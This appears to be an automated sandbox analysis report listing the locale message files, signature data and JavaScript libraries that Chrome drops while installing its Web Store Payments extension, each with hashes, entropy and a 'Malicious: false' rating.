SSDEEP: 12:1HEJhiOGGhiO+WYpU34OHSN+dgFjdGFZO8ZpU34JgdN03OyZnLAOfTYiD:1HEDiHIitWYpCYJ8ZpD1OGAOfRD

MD5: 93C459A23BC6953FF744C35920CD2AF9

SHA1: 162F884972103A08ADB616A7EB3598431A2924C5

SHA-256: 2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4E0

SHA-512: F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCB
5

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "app_name": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "craw_app
_unavailable": {..      "message": "Appen er utilgjengelig for .yeblikket."..   },..   "craw_connect_to_network": {..      "message": "Du m. koble til et nettverk."..   },..   "iap
_unavailable": {..      "message": "Betaling i app er ikke tilgjengelig for .yeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be complet
ed."..   },..   "please_sign_in": {..      "message": "Du m. logge p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\lt\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\lv\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\nb\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\nl\messages.json
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File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 615

Entropy (8bit): 4.4715318546237315

Encrypted: false

SSDEEP: 12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD

MD5: 7A8F9D0249C680F64DEC7650A432BD57

SHA1: 53477198AEE389F6580921B4876719B400A23CA1

SHA-256: 92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C

SHA-512: 969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8A
A7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalingen via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalingen via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "App momenteel niet beschikbaar."..   },..   "craw_connect_to_network": {..      "message": "Maak verbinding met een netwerk."..   
},..   "iap_unavailable": {..      "message": "In-app-betalingen is momenteel niet beschikbaar."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Log in bij Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.646901997539488

Encrypted: false

SSDEEP: 12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC

MD5: 0E6194126AFCCD1E3098D276A7400175

SHA1: E8127B905A640B1C46362FA6E1127BE172F4A40F

SHA-256: E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2

SHA-512: A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B7
77

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   "app_name": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   
"craw_app_unavailable": {..      "message": "Aplikacja jest obecnie niedost.pna."..   },..   "craw_connect_to_network": {..      "message": "Po..cz si. z sieci.."..   },..   
"iap_unavailable": {..      "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Zaloguj si. w Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.515158874306633

Encrypted: false

SSDEEP: 12:1HEJsc/bGGsc/b+WYpU34OLw+dgn/KzO8ZpU34FjIBMwGRO03OyZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKlOGAOf2tD

MD5: 86A2B91FA18B867209024C522ED665D5

SHA1: 63DEC245637818C76655E01FCB6D59784BC7184E

SHA-256: 6374880FDD1F8AF1EE8AEA6A06B73BE0AB265AFCEB4FE6F08BDE3B3989264B21

SHA-512: DA6DBDE5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8A00FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CE53F8C38DF8C7B5AFCE4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Aplicativo indispon.vel no momento."..   },..   "craw_connect_to_network": {..      "message": "Conecte-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction 
could not be completed."..   },..   "please_sign_in": {..      "message": "Fa.a login no Google Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pt_BR\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pt_PT\messages.json
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Size (bytes): 622

Entropy (8bit): 4.526171498622949

Encrypted: false

SSDEEP: 12:1HEJsZUkbGGsZUkb+WYpU34OAE+dgqxKzO8ZpU34rEpBfvPO03OyZnLAOfTYLD:1HEmUka5Uk6WYpFvdxZ8ZpSTnPlOGAOS

MD5: 750A4800EDB93FBE56495963F9FB3B94

SHA1: 8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61

SHA-256: C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9E83

SHA-512: 2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCA8C77FFD808A2058602D3646FD8DAE2844406F
24

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplica..o atualmente indispon.vel."..   },..   "craw_connect_to_network": {..      "message": "Ligue-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "Os Pagamentos na app est.o atualmente indispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Inicie sess.o no Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.61125938671415

Encrypted: false

SSDEEP: 12:1HEJqJrJZGGqJrJZ+WYpU344HIx2Z+dgrVPlZO8ZpU34qT7hI3O03OyZnLAOfTYU:1HEC4D8WYpKow8WV68ZpKhoOGAOfoVGD

MD5: 98D43E4B1054A65DF3FA3CC40AB6FB6D

SHA1: 46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2

SHA-256: 113A13900CBA62FE8AED06751971C23A80A99B47F9BE219CF884D57DB19611D9

SHA-512: A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD1466

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "app_name": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "cr
aw_app_unavailable": {..      "message": ".n prezent, aplica.ia nu este disponibil.."..   },..   "craw_connect_to_network": {..      "message": "Conecteaz.-te la o re.ea."..   },..   
"iap_unavailable": {..      "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be c
ompleted."..   },..   "please_sign_in": {..      "message": "Conecteaz.-te la Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 744

Entropy (8bit): 4.918620852166656

Encrypted: false

SSDEEP: 12:1HEJ7OJHZMSl3ZGG7OJHZMSl3Z+WYpU34zWJ2F+dgVtLSv/TO8ZpU347NWjT03On:1HElOJHZMq4uOJHZMq8WYpdWJ/YGHq8m

MD5: DB2EDF1465946C06BD95C71A1E13AE64

SHA1: FB4F3ECE9ECECEBBC6CA2A592A15FB9C1FDFB811

SHA-256: FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DA64ED67AB

SHA-512: 4E0CF00BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CE6828D25C5ABBF143C990116F6
32

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "......... ....... ........-........ Chrome"..   },..   "app_name": {..      "message": "......... ....... ........-........ Chrome"..   },..   "craw_app_u
navailable": {..      "message": ".......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............ . ....."..   },..   "iap_unavailable": {..      "message": "....... ..... 
.......... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "....... . Chrome."..   }..
}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.640777810668463

Encrypted: false

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ro\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ru\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sk\messages.json
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SSDEEP: 12:1HEJfZGGfZ+WYpU34ORO+dgmmCO8ZpU34yH7u2Z03OyZnLAOfTYCUAi0D:1HEl4G8WYpetPmD8ZpcH7aOGAOfzUeD

MD5: 8DF215D1EFBDABB175CCDD68ED8DCB0A

SHA1: 2B374462137A38589A73FDD00A84CBDC7E50F9F4

SHA-256: 7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAF4DED9D63B

SHA-512: C0E623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EB0AFFBE087AAB62F1C88CD2A40CC44E599
D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplik.cia moment.lne nie je dostupn.."..   },..   "craw_connect_to_network": {..      "message": "Pripojte sa k sieti."..   },..   
"iap_unavailable": {..      "message": "Platby v aplik.cii moment.lne nie s. k dispoz.cii."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Prihl.ste sa do prehliada.a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 617

Entropy (8bit): 4.5101656584816885

Encrypted: false

SSDEEP: 12:1HEJGcyvmbZGGGcyvmbZ+WYpU34OBOEtf+dgca1ZO8ZpU34GcQArERff03OyZnLh:1HE4cyY4TcyY8WYpNoWa1w8ZpQcQ6AfK

MD5: 3943FA2A647AECEDFD685408B27139EE

SHA1: 0129DD19D28373359530B3B477FE8A9279DABB7D

SHA-256: 18AFF072EE0DF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A

SHA-512: 42E62B3855611FF2E1D39C11404CB1A09825EE4CA6A8ACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297B0DEC0
9D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "craw_app
_unavailable": {..      "message": "Aplikacija trenutno ni na voljo."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se z omre.jem."..   },..   "iap_unavailabl
e": {..      "message": "Pla.ila v aplikacijah trenutno niso na voljo."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "
please_sign_in": {..      "message": "Prijavite se v Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 743

Entropy (8bit): 4.913927107235852

Encrypted: false

SSDEEP: 12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP03OyZnLAOfTYzDYD:1HEKsb59sbTWYplx4Xud8Zpy1mNOGAOv

MD5: D485DF17F085B6A37125694F85646FD0

SHA1: 24D51D8642CDC6EFD5D8D7A4430232D8CDE25108

SHA-256: 7FFDE34C58E7C376C042DE64DEF6481DAE32BE8B70F0B18EDF536290CBE0C818

SHA-512: 0DDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378EC9D36177FFBE213471247FB94721EA34A83E7665669200047091D0FDE134E3D763217E7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "....... . Chrome ...-.........."..   },..   "app_name": {..      "message": "....... . Chrome ...-.........."..   },..   "craw_app_unavailable": {..      
"message": ".......... .. ........ ..........."..   },..   "craw_connect_to_network": {..      "message": "........ .. ......."..   },..   "iap_unavailable": {..      "message": "....... . .......... .. ........ 
..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "......... .. . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 630

Entropy (8bit): 4.52964089437422

Encrypted: false

SSDEEP: 12:1HEJJMkbGGJMkb+WYpU34OACwz+dgNPGFZO8ZpU34JgpXLSb03OyZnLAOfTYLdID:1HErMkaqMk6WYpTOcb8ZpDgdZOGAOf8Y

MD5: D372B8204EB743E16F45C7CBD3CAAF37

SHA1: C96C57219D292B01016B37DCF82E7C79AD0DD1E8

SHA-256: B8BA77E0089B0676545EC16D32468B727812B444F90B33A7A5B748E6C36C4388

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sv\messages.json
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SHA-512: 33640529E0D5DCC5CA4BDB0615A2818E8D26C6FCB7B3474C08AC3EB67B9DB40E1F0A79954ED20728CD47A686D2533DCBC76ABCBDB917F8530C8DE8BBA6873
52E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalning via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalning via Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Appen .r inte tillg.nglig f.r tillf.llet."..   },..   "craw_connect_to_network": {..      "message": "Anslut till ett n.tverk."..   },..   "iap_unavai
lable": {..      "message": "Betalning i appen .r inte tillg.ngligt f.r n.rvarande."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },.. 
  "please_sign_in": {..      "message": "Logga in i Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 945

Entropy (8bit): 4.801079428724355

Encrypted: false

SSDEEP: 24:1HEKa1dDa1/WYp6UFi72SmlG8ZpyactrW2SAOGAOfvSLD:WK2DNYp6U4y3bpyLxwGFW

MD5: 83E2D1E97791A4B2C5C69926EFB629C9

SHA1: 429600425CB0F196DDD717F940E94DBD8BFF2837

SHA-256: 2FECA577F43D97BAEEA464741D585892103585208FD0A935B810A03BDCE83C88

SHA-512: 60A5928DAA8CB4341487F477C56B5A98B83EDE50E5F4F55A802E01FDDAB86F3E795D391953D3D9214552D14D3F58C5A183693C613720FC12FC387D7B8F9B9AB6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "............... Chrome ........."..   },..   "app_name": {..      "message": "............... Chrome ........."..   },..   "craw_app_unavailable": {..    
  "message": "............................."..   },..   "craw_connect_to_network": {..      "message": "........................."..   },..   "iap_unavailable": {..      "message": "............................
..................."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "................. Chrome"..   
}..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 4.710869622361971

Encrypted: false

SSDEEP: 12:1HEJ9Y8GG9Y8+WYpU34wWT+dgGb0GO8ZpU34wryd7T03OyZnLAOfTYGbPKG:1HE0jWYpyRnG8Zpyr/OGAOfFPn

MD5: 2CEAE0567B6BB1D240BBAD690A98CA3B

SHA1: 5944346FBD4A0797B13223895995CAB58E9ECD23

SHA-256: A7CB86F30C9C31FE5540282C308BA96ADB4EC16EF98C87129EB88105E5BEF5FC

SHA-512: 108A07C6D03D7178E8D0FFEF5349E0249A898D864964FED8757BD8A08BC1C6D9613F2A6C01AA34A6606127D1C6CE14C229FA02586677DBB060B85E3E845950E1

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "app_name": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "craw_a
pp_unavailable": {..      "message": "Uygulama .u anda kullan.lam.yor."..   },..   "craw_connect_to_network": {..      "message": "L.tfen bir a.a ba.lan.n."..   },..   "iap_unavail
able": {..      "message": "Uygulama ..i .demeler .u anda kullan.lamaz."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "L.tfen Chrome'da oturum a..n."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 720

Entropy (8bit): 4.977397623063544

Encrypted: false

SSDEEP: 12:1HEJ7wILkSlXZGG7wILkSlXZ+WYpU34zb1Oy2P+dgSV1EjiTO8ZpU347qtfP2CTW:1HElwEkK4uwEkK8WYpd/dTV1e8Zptq5S

MD5: AB0B56120E6B38C42CC3612BE948EF50

SHA1: 8B3F520E5713D9F116D68E71DAEED1F6E8D74629

SHA-256: 68ABA284751EB9C856032062EF9B1651E2A1E5CE5FDA0977FFC97D63BA7BED9E

SHA-512: CD852A58217F739C1CD58567FF432D31A7AD3F68C884ABBA1DA95799BCD1545C6A5D3B06F319681C12B78AD0A709828DE4B22736316F148D21F5DB76A5BCCBE
F

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\th\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\tr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\uk\messages.json
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Preview: {..   "app_description": {..      "message": "....... ...-........ Chrome"..   },..   "app_name": {..      "message": "....... ...-........ Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........ ......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............. .. ......."..   },..   "iap_unavailable": {..      "message": "....... ..... ........ ..... .. 
........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "........ . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 695

Entropy (8bit): 4.855375139026009

Encrypted: false

SSDEEP: 12:1HEJMAZrSFZGGMAZrSFZ+WYpU34WFHoz+dgdklzoO8ZpU34NFHoz03OyZnLAOfTU:1HEI4B8WYpAKytFZ8ZpXKMOGAOfd6D

MD5: 7EBB677FEAD8557D3676505225A7249A

SHA1: F161B4B6001AEAEAB246FF8987F4D992B48D47BE

SHA-256: 051F96ED874C11C4A13589B5F68964E4F5B03B52DDA223D56524F2CA23760C04

SHA-512: 74FD267CF7E299FB8E7054605C3F651F057F676FF865082FA24F4916755456768DB0DA62DBC515D829B48AB1F9CFC8AD3E841DCBF1F194D5CB14C5335A192A0D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   },..   "app_name": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   
},..   "craw_app_unavailable": {..      "message": ".ng d.ng hi.n kh.ng kh. d.ng."..   },..   "craw_connect_to_network": {..      "message": "Vui l.ng k.t n.i v.i m.ng."..   },..   
"iap_unavailable": {..      "message": "Thanh to.n trong .ng d.ng hi.n kh.ng kh. d.ng."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be compl
eted."..   },..   "please_sign_in": {..      "message": "Vui l.ng ..ng nh.p v.o Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 5.210259193489374

Encrypted: false

SSDEEP: 12:1HEJ01GG01+WYpU34zeHz+dgfO8ZpU34YKiO03OyZnLAOfTYB6U:1HEpIWYpISv8Zp+JOGAOfa6U

MD5: BB73BF561BB79F89D9BF7C67C5AE5C65

SHA1: 2FADD3A1959B29C44830033A35C637D0311A8C9C

SHA-256: D804F2A040D21D7511EFD5213D8E1721D64964A1A0DBB48E21622CEEDC9D967E

SHA-512: 627D44CEF1FE5C5ABD598BD47FF5E22B9EFC1CF98DDE3868FA9E5896C134A0C9C055AC34EDDADAE56B6690E51AEA89965D38F770552A85C732CC796795DC6
8D2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........."..   },..   "app_name": {..      "message": "Chrome ........."..   },..   "craw_app_unavailable": {..      "message": "........
."..   },..   "craw_connect_to_network": {..      "message": "......."..   },..   "iap_unavailable": {..      "message": "............"..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 634

Entropy (8bit): 5.386215984611281

Encrypted: false

SSDEEP: 12:1HEJ2j62GG2j62+WYpU34m7T+dgc8nOO8ZpU34mvIO03OyZnLAOfTYAuH:1HEuSZCWYpsStwP8ZpROGAOfCH

MD5: 5FF50C673CC0C661D615F0CFD0E6DCA0

SHA1: 60DFF98DEAB9C4746B288BDD9C94B3BCAE5EAA85

SHA-256: C6F8C640F3353A7B9B1432A0C139C1AEEC40133800E6C9B467B63991AD660308

SHA-512: 361D62D91F4931C5F34092C9F2C6A5323D5EEB82A24E7ABE11F7817D8D66341C0ECAD4DCB4B10873920C8D6A3CC9F5704889E178EB2549001A9F62BEDF6C801
9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ............"..   },..   "app_name": {..      "message": "Chrome ............"..   },..   "craw_app_unavailable": {..      "message": "..
..........."..   },..   "craw_connect_to_network": {..      "message": "......"..   },..   "iap_unavailable": {..      "message": "................"..   },..   "jwt_retrieve_failed": {..      "message
": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\vi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\zh_CN\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\zh_TW\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 7780

Entropy (8bit): 5.791315351651491

Encrypted: false

SSDEEP: 192:RktDNJ2UzsL5KcASyoH+CouKP/iNGRo/oRHMIT:AZQflcsU

MD5: 0834821960CB5C6E9D477AEF649CB2E4

SHA1: 7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588

SHA-256: 52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69

SHA-512: 9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3F
C4

Malicious: false

Reputation: low

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHs
icGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwY
XRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGg
iOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6I
l9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2x
vY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jY
Wxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 544643

Entropy (8bit): 5.385396177420207

Encrypted: false

SSDEEP: 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g

MD5: 6EEBED29E6A6301E92A9B8B347807F5F

SHA1: 65DFB69B650560551110B33DCBA50B25E5B876DE

SHA-256: 04CD9494B0ED83924DAD12202630B20D053D9E2819C8E826A386C814CC0A1697

SHA-512: FEDE6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBE5CF6AF7BE9
7BF2

Malicious: false

Reputation: low

Preview: /*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var d,e=e||{};e.scope={};e.arrayIteratorImpl=function(a){var b=0;return function(){return 
b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arrayIterator=function(a){return{next:e.arrayIteratorImpl(a)}};e.ASSUME_ES5=!1;e.ASSUME_NO_NATIVE_MAP=!1;e.A
SSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_P
ROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:funct
ion(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"obje
ct"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw 
Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 261316

Entropy (8bit): 5.444466092380538

Encrypted: false

